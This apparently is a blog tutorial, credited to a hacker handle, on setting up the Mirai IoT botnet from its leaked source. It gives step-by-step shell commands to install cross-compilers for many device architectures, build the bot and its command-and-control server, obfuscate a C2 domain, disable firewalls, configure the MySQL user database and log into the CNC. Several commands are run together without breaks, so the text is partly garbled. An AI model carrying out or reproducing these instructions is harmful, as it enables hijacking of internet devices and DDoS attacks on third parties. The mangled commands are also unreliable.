How To setup Mirai - Tutorial

                                                                     UPDATED 7/5/17                                                                  
Credit: Jihadi4Potus
Reference : http://destyy.com/wQzRaE
-----------------------------------------------------------------------------------------------------------
















------------------------------------------------------------------------------------------------------

* REQUIREMENTS *
- 2x Debian 8 Offshore boxes - Providers. [x0]
- Mirai Source - https://github.com/jgamblin/Mirai-Source-Code 
   git clone https://github.com/jgamblin/Mirai-Source-Code
- Good Instruction following skillz.


[x0] Hosting Providers.
http://www.novogara.com/


This is a fully tutorial how to setup mirai from scratch. ENJOY :)
This fixes golang errors when ./build debug telnet , is executed.

[x01] Install the following on a Debian box. ex. Debian 7 x86_64-
 apt-get update -y apt-get upgrade -y apt-get install gcc golang electric-fence sudo git libc6-dev -y apt-get install mysql-server mysql-client -y

[x01.5]
;New version goLang was released and there isn't a library for it yet so that's why you're getting the "go/src/github.com/go-sql-driver/mysql/utils.go:806: undefined: atomic.Value" error this is the fix.


sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y
wget https://storage.googleapis.com/golang/go1.9.2.linux-amd64.tar.gzsudo
tar -xvf go1.9.2.linux-amd64.tar.gzsudo
mv go /usr/localexport GOROOT=/usr/local/goexport GOPATH=$HOME/Projects/Proj1export PATH=$GOPATH/bin:$GOROOT/bin:$PATHgo get github.com/go-sql-driver/mysqlgo get github.com/mattn/go-shellwords

[x02] Installing and compiling the cross-compilers-
;If you run build.sh in /mirai folder you will get an error for armv6l, In the main tutorial this wasn't included so I added it to make life easier.

 mkdir /etc/xcompile
 cd /etc/xcompile

 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2 
tar -jxf cross-compiler-armv4l.tar.bz2 
tar -jxf cross-compiler-i586.tar.bz2 
tar -jxf cross-compiler-m68k.tar.bz2 
tar -jxf cross-compiler-mips.tar.bz2 
tar -jxf cross-compiler-mipsel.tar.bz2 
tar -jxf cross-compiler-powerpc.tar.bz2 
tar -jxf cross-compiler-sh4.tar.bz2 
tar -jxf cross-compiler-sparc.tar.bz2 
tar -jxf cross-compiler-armv6l.tar.bz2

 rm *.tar.bz2 
mv cross-compiler-armv4l armv4l 
mv cross-compiler-i586 i586 
mv cross-compiler-m68k m68k 
mv cross-compiler-mips mips 
mv cross-compiler-mipsel mipsel 
mv cross-compiler-powerpc powerpc 
mv cross-compiler-sh4 sh4 
mv cross-compiler-sparc sparc 
mv cross-compiler-armv6l armv6l

[x03] Adding GoLang paths.;Execute these in your ssh terminal, this will add to your ~/.bashrcexport PATH=$PATH:/etc/xcompile/armv4l/binexport PATH=$PATH:/etc/xcompile/armv6l/binexport PATH=$PATH:/etc/xcompile/i586/binexport PATH=$PATH:/etc/xcompile/m68k/binexport PATH=$PATH:/etc/xcompile/mips/binexport PATH=$PATH:/etc/xcompile/mipsel/binexport PATH=$PATH:/etc/xcompile/powerpc/binexport PATH=$PATH:/etc/xcompile/powerpc-440fp/binexport PATH=$PATH:/etc/xcompile/sh4/binexport PATH=$PATH:/etc/xcompile/sparc/binexport PATH=$PATH:/etc/xcompile/armv6l/bin


export PATH=$PATH:/usr/local/go/binexport GOPATH=$HOME/Documents/go

[x04] Fixing errors.
./build.sh debug telnet
;Once you execute this in the main mirai directory ./Mirai-Source-Code/mirai, If you did this command before step 2 & 3 you would get an error about the Mysql and sql-drivers, since that's what alot of people have had trouble with. This fixes that.
 go get github.com/go-sql-driver/mysql
 go get github.com/mattn/go-shellwords


[x05] Obfuscated string
;I'm running Debian 8 x86_64 so this might be diffrent for you, but the ./debug/enc string {Domain.com} wasn't working for me so the fix is below, make sure you're in /mirai/debug
 ./enc string changeme.com
;Now add this to your table.c file.



[x06] Database setup
;Now where going to setup the database permissions and users.
;If you have iptbales/ip6tables or any firewall install disable it.

service iptables stop
/etc/ini.d/iptbales stop

;Database setup
/usr/bin/mysql_secure_installation
;It will ask you to set a password, make sure you remember this.
;Edit your main.go in /cnc/
ex: 120.0.0.1:3306
;Once you've done the step above were going to add the database and user perms. follow this link.

;Create the database first
create database mirai;

;Next select the database
use mirai

;Copy and paste this into your terminal. (Not the pastebin link, the actual code on the site.)
http://destyy.com/wQlTLF

;Set the credentials you used in the ./cnc/main.go file. It should look like this- http://prntscr.com/dnskj5

;Now your server should be online
Service mysql restart

;Once you restart the mysql server, go to your debug folder ./mirai/release you will seen a compiled file named cnc execute it.
./cnc

;You should see - http://prntscr.com/dnsluv

;Now your going to have to move the prompt.txt file in mirai main directory into the release folder 

;Now you can login through your ssh client with telnet.


Congrats you setup mirai successfully!!
How To setup Mirai - Tutorial How To setup Mirai - Tutorial Reviewed by BlackHat on 5:09 PM Rating: 5

No comments:

Hacker Printed T- Shirt | Click on Image

Powered by Blogger.